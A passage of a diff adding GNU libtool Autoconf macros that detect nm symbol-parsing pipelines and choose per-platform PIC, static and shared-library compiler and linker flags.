+    test -f Makefile && make "$ltmain"
+  fi
+fi
+])# AC_LIBTOOL_CONFIG
+
+
+# AC_LIBTOOL_PROG_COMPILER_NO_RTTI([TAGNAME])
+# -------------------------------------------
+AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI],
+[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
+
+_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
+
+if test "$GCC" = yes; then
+  _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin'
+
+  AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions],
+    lt_cv_prog_compiler_rtti_exceptions,
+    [-fno-rtti -fno-exceptions], [],
+    [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"])
+fi
+])# AC_LIBTOOL_PROG_COMPILER_NO_RTTI
+
+
+# AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE
+# ---------------------------------
+AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE],
+[AC_REQUIRE([AC_CANONICAL_HOST])
+AC_REQUIRE([AC_PROG_NM])
+AC_REQUIRE([AC_OBJEXT])
+# Check for command to grab the raw symbol name followed by C symbol from nm.
+AC_MSG_CHECKING([command to parse $NM output from $compiler object])
+AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe],
+[
+# These are sane defaults that work on at least a few old systems.
+# [They come from Ultrix.  What could be older than Ultrix?!! ;)]
+
+# Character class describing NM global symbol codes.
+symcode='[[BCDEGRST]]'
+
+# Regexp to match symbols that can be accessed directly from C.
+sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)'
+
+# Transform an extracted symbol line into a proper C declaration
+lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'"
+
+# Transform an extracted symbol line into symbol name and symbol address
+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/  {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([[^ ]]*\) \([[^ ]]*\)$/  {\"\2\", (lt_ptr) \&\2},/p'"
+
+# Define system-specific variables.
+case $host_os in
+aix*)
+  symcode='[[BCDT]]'
+  ;;
+cygwin* | mingw* | pw32*)
+  symcode='[[ABCDGISTW]]'
+  ;;
+hpux*) # Its linker distinguishes data from code symbols
+  if test "$host_cpu" = ia64; then
+    symcode='[[ABCDEGRST]]'
+  fi
+  lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+  lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/  {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/  {\"\2\", (lt_ptr) \&\2},/p'"
+  ;;
+linux* | k*bsd*-gnu)
+  if test "$host_cpu" = ia64; then
+    symcode='[[ABCDGIRSTW]]'
+    lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+    lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/  {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/  {\"\2\", (lt_ptr) \&\2},/p'"
+  fi
+  ;;
+irix* | nonstopux*)
+  symcode='[[BCDEGRST]]'
+  ;;
+osf*)
+  symcode='[[BCDEGQRST]]'
+  ;;
+solaris*)
+  symcode='[[BDRT]]'
+  ;;
+sco3.2v5*)
+  symcode='[[DT]]'
+  ;;
+sysv4.2uw2*)
+  symcode='[[DT]]'
+  ;;
+sysv5* | sco5v6* | unixware* | OpenUNIX*)
+  symcode='[[ABDT]]'
+  ;;
+sysv4)
+  symcode='[[DFNSTU]]'
+  ;;
+esac
+
+# Handle CRLF in mingw tool chain
+opt_cr=
+case $build_os in
+mingw*)
+  opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
+  ;;
+esac
+
+# If we're using GNU nm, then use its standard symbol codes.
+case `$NM -V 2>&1` in
+*GNU* | *'with BFD'*)
+  symcode='[[ABCDGIRSTW]]' ;;
+esac
+
+# Try without a prefix undercore, then with it.
+for ac_symprfx in "" "_"; do
+
+  # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
+  symxfrm="\\1 $ac_symprfx\\2 \\2"
+
+  # Write the raw and C identifiers.
+  lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ 	]]\($symcode$symcode*\)[[ 	]][[ 	]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+
+  # Check to see that the pipe works correctly.
+  pipe_works=no
+
+  rm -f conftest*
+  cat > conftest.$ac_ext <<EOF
+#ifdef __cplusplus
+extern "C" {
+#endif
+char nm_test_var;
+void nm_test_func(){}
+#ifdef __cplusplus
+}
+#endif
+int main(){nm_test_var='a';nm_test_func();return(0);}
+EOF
+
+  if AC_TRY_EVAL(ac_compile); then
+    # Now try to grab the symbols.
+    nlist=conftest.nm
+    if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then
+      # Try sorting and uniquifying the output.
+      if sort "$nlist" | uniq > "$nlist"T; then
+	mv -f "$nlist"T "$nlist"
+      else
+	rm -f "$nlist"T
+      fi
+
+      # Make sure that we snagged all the symbols we need.
+      if grep ' nm_test_var$' "$nlist" >/dev/null; then
+	if grep ' nm_test_func$' "$nlist" >/dev/null; then
+	  cat <<EOF > conftest.$ac_ext
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+EOF
+	  # Now generate the symbol file.
+	  eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
+
+	  cat <<EOF >> conftest.$ac_ext
+#if defined (__STDC__) && __STDC__
+# define lt_ptr_t void *
+#else
+# define lt_ptr_t char *
+# define const
+#endif
+
+/* The mapping between symbol names and symbols. */
+const struct {
+  const char *name;
+  lt_ptr_t address;
+}
+lt_preloaded_symbols[[]] =
+{
+EOF
+	  $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/  {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
+	  cat <<\EOF >> conftest.$ac_ext
+  {0, (lt_ptr_t) 0}
+};
+
+#ifdef __cplusplus
+}
+#endif
+EOF
+	  # Now try linking the two files.
+	  mv conftest.$ac_objext conftstm.$ac_objext
+	  lt_save_LIBS="$LIBS"
+	  lt_save_CFLAGS="$CFLAGS"
+	  LIBS="conftstm.$ac_objext"
+	  CFLAGS="$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
+	  if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
+	    pipe_works=yes
+	  fi
+	  LIBS="$lt_save_LIBS"
+	  CFLAGS="$lt_save_CFLAGS"
+	else
+	  echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
+	fi
+      else
+	echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD
+      fi
+    else
+      echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD
+    fi
+  else
+    echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD
+    cat conftest.$ac_ext >&5
+  fi
+  rm -f conftest* conftst*
+
+  # Do not use the global_symbol_pipe unless it works.
+  if test "$pipe_works" = yes; then
+    break
+  else
+    lt_cv_sys_global_symbol_pipe=
+  fi
+done
+])
+if test -z "$lt_cv_sys_global_symbol_pipe"; then
+  lt_cv_sys_global_symbol_to_cdecl=
+fi
+if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
+  AC_MSG_RESULT(failed)
+else
+  AC_MSG_RESULT(ok)
+fi
+]) # AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE
+
+
+# AC_LIBTOOL_PROG_COMPILER_PIC([TAGNAME])
+# ---------------------------------------
+AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC],
+[_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=
+_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
+_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=
+
+AC_MSG_CHECKING([for $compiler option to produce PIC])
+ ifelse([$1],[CXX],[
+  # C++ specific cases for pic, static, wl, etc.
+  if test "$GXX" = yes; then
+    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
+
+    case $host_os in
+    aix*)
+      # All AIX code is PIC.
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	_LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      fi
+      ;;
+    amigaos*)
+      # FIXME: we need at least 68020 code to build shared libraries, but
+      # adding the `-m68020' flag to GCC prevents building anything better,
+      # like `-m68040'.
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
+      ;;
+    beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
+      # PIC is the default for these OSes.
+      ;;
+    mingw* | os2* | pw32*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
+      ;;
+    darwin* | rhapsody*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
+      ;;
+    *djgpp*)
+      # DJGPP does not support shared libraries at all
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
+      ;;
+    interix3*)
+      # Interix 3.x gcc -fpic/-fPIC options generate broken code.
+      # Instead, we relocate shared libraries at runtime.
+      ;;
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
+      fi
+      ;;
+    hpux*)
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	;;
+      *)
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+	;;
+      esac
+      ;;
+    *)
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+      ;;
+    esac
+  else
+    case $host_os in
+      aix4* | aix5*)
+	# All AIX code is PIC.
+	if test "$host_cpu" = ia64; then
+	  # AIX 5 now supports IA64 processor
+	  _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	else
+	  _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
+	fi
+	;;
+      chorus*)
+	case $cc_basename in
+	cxch68*)
+	  # Green Hills C++ Compiler
+	  # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
+	  ;;
+	esac
+	;;
+       darwin*)
+         # PIC is the default on this platform
+         # Common symbols not allowed in MH_DYLIB files
+         case $cc_basename in
+           xlc*)
+           _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
+           _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+           ;;
+         esac
+       ;;
+      dgux*)
+	case $cc_basename in
+	  ec++*)
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    ;;
+	  ghcx*)
+	    # Green Hills C++ Compiler
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      freebsd* | dragonfly*)
+	# FreeBSD uses GNU C++
+	;;
+      hpux9* | hpux10* | hpux11*)
+	case $cc_basename in
+	  CC*)
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
+	    if test "$host_cpu" != ia64; then
+	      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
+	    fi
+	    ;;
+	  aCC*)
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
+	    case $host_cpu in
+	    hppa*64*|ia64*)
+	      # +Z the default
+	      ;;
+	    *)
+	      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
+	      ;;
+	    esac
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      interix*)
+	# This is c89, which is MS Visual C++ (no shared libs)
+	# Anyone wants to do a port?
+	;;
+      irix5* | irix6* | nonstopux*)
+	case $cc_basename in
+	  CC*)
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+	    # CC pic flag -KPIC is the default.
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      linux* | k*bsd*-gnu)
+	case $cc_basename in
+	  KCC*)
+	    # KAI C++ Compiler
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+	    ;;
+	  icpc* | ecpc*)
+	    # Intel C++
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
+	    ;;
+	  pgCC*)
+	    # Portland Group C++ compiler.
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    ;;
+	  cxx*)
+	    # Compaq C++
+	    # Make sure the PIC flag is empty.  It appears that all Alpha
+	    # Linux and Compaq Tru64 Unix objects are PIC.
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      lynxos*)
+	;;
+      m88k*)
+	;;
+      mvs*)
+	case $cc_basename in
+	  cxx*)
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      netbsd* | netbsdelf*-gnu)
+	;;
+      osf3* | osf4* | osf5*)
+	case $cc_basename in
+	  KCC*)
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
+	    ;;
+	  RCC*)
+	    # Rational C++ 2.4.1
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    ;;
+	  cxx*)
+	    # Digital/Compaq C++
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    # Make sure the PIC flag is empty.  It appears that all Alpha
+	    # Linux and Compaq Tru64 Unix objects are PIC.
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      psos*)
+	;;
+      solaris*)
+	case $cc_basename in
+	  CC*)
+	    # Sun C++ 4.2, 5.x and Centerline C++
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
+	    ;;
+	  gcx*)
+	    # Green Hills C++ Compiler
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      sunos4*)
+	case $cc_basename in
+	  CC*)
+	    # Sun C++ 4.x
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    ;;
+	  lcc*)
+	    # Lucid
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      tandem*)
+	case $cc_basename in
+	  NCC*)
+	    # NonStop-UX NCC 3.20
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
+	case $cc_basename in
+	  CC*)
+	    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    ;;
+	esac
+	;;
+      vxworks*)
+	;;
+      *)
+	_LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+	;;
+    esac
+  fi
+],
+[
+  if test "$GCC" = yes; then
+    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+    _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
+
+    case $host_os in
+      aix*)
+      # All AIX code is PIC.
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	_LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      fi
+      ;;
+
+    amigaos*)
+      # FIXME: we need at least 68020 code to build shared libraries, but
+      # adding the `-m68020' flag to GCC prevents building anything better,
+      # like `-m68040'.
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
+      ;;
+
+    beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
+      # PIC is the default for these OSes.
+      ;;
+
+    mingw* | pw32* | os2*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
+      ;;
+
+    darwin* | rhapsody*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
+      ;;
+
+    interix3*)
+      # Interix 3.x gcc -fpic/-fPIC options generate broken code.
+      # Instead, we relocate shared libraries at runtime.
+      ;;
+
+    msdosdjgpp*)
+      # Just because we use GCC doesn't mean we suddenly get shared libraries
+      # on systems that don't support them.
+      _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+      enable_shared=no
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
+      fi
+      ;;
+
+    hpux*)
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	# +Z the default
+	;;
+      *)
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+	;;
+      esac
+      ;;
+
+    *)
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+      ;;
+    esac
+  else
+    # PORTME Check for flag to pass linker flags through the system compiler.
+    case $host_os in
+    aix*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	_LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      else
+	_LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
+      fi
+      ;;
+      darwin*)
+        # PIC is the default on this platform
+        # Common symbols not allowed in MH_DYLIB files
+       case $cc_basename in
+         xlc*)
+         _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
+         _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+         ;;
+       esac
+       ;;
+
+    mingw* | pw32* | os2*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
+      ;;
+
+    hpux9* | hpux10* | hpux11*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	# +Z the default
+	;;
+      *)
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
+	;;
+      esac
+      # Is there a better lt_prog_compiler_static that works with the bundled CC?
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
+      ;;
+
+    irix5* | irix6* | nonstopux*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      # PIC (with -KPIC) is the default.
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+      ;;
+
+    newsos6)
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    linux* | k*bsd*-gnu)
+      case $cc_basename in
+      icc* | ecc*)
+	_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	_LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
+        ;;
+      pgcc* | pgf77* | pgf90* | pgf95*)
+        # Portland Group compilers (*not* the Pentium gcc compiler,
+	# which looks to be a dead project)
+	_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
+	_LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+        ;;
+      ccc*)
+        _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+        # All Alpha code is PIC.
+        _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+        ;;
+      esac
+      ;;
+
+    osf3* | osf4* | osf5*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      # All OSF/1 code is PIC.
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+      ;;
+
+    solaris*)
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      case $cc_basename in
+      f77* | f90* | f95*)
+	_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
+      *)
+	_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
+      esac
+      ;;
+
+    sunos4*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    sysv4 | sysv4.2uw2* | sysv4.3*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec ;then
+	_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic'
+	_LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      fi
+      ;;
+
+    sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    unicos*)
+      _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+      ;;
+
+    uts4*)
+      _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+      _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    *)
+      _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+      ;;
+    esac
+  fi
+])
+AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)])
+
+#
+# Check to make sure the PIC flag actually works.
+#
+if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then
+  AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) works],
+    _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1),
+    [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])], [],
+    [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in
+     "" | " "*) ;;
+     *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)" ;;
+     esac],
+    [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
+     _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no])
+fi
+case $host_os in
+  # For platforms which do not support PIC, -DPIC is meaningless:
+  *djgpp*)
+    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
+    ;;
+  *)
+    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])"
+    ;;
+esac
+
+#
+# Check to make sure the static flag actually works.
+#
+wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_AC_TAGVAR(lt_prog_compiler_static, $1)\"
+AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works],
+  _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1),
+  $lt_tmp_static_flag,
+  [],
+  [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=])
+])
+
+
+# AC_LIBTOOL_PROG_LD_SHLIBS([TAGNAME])
+# ------------------------------------
+# See if the linker supports building shared libraries.
+AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS],
+[AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
+ifelse([$1],[CXX],[
+  _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  case $host_os in
+  aix4* | aix5*)
+    # If we're using GNU nm, then we don't want the "-C" option.
+    # -C means demangle to AIX nm, but means don't demangle with GNU nm
+    if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
+      _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
+    else
+      _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
+    fi
+    ;;
+  pw32*)
+    _LT_AC_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
+  ;;
+  cygwin* | mingw*)
+    _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([[^ ]]*\) [[^ ]]*/\1 DATA/;/^I /d;/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
+  ;;
+  linux* | k*bsd*-gnu)
+    _LT_AC_TAGVAR(link_all_deplibs, $1)=no
+  ;;
+  *)
+    _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  ;;
+  esac
+],[
+  runpath_var=
+  _LT_AC_TAGVAR(allow_undefined_flag, $1)=
+  _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
+  _LT_AC_TAGVAR(archive_cmds, $1)=
+  _LT_AC_TAGVAR(archive_expsym_cmds, $1)=
+  _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)=
+  _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)=
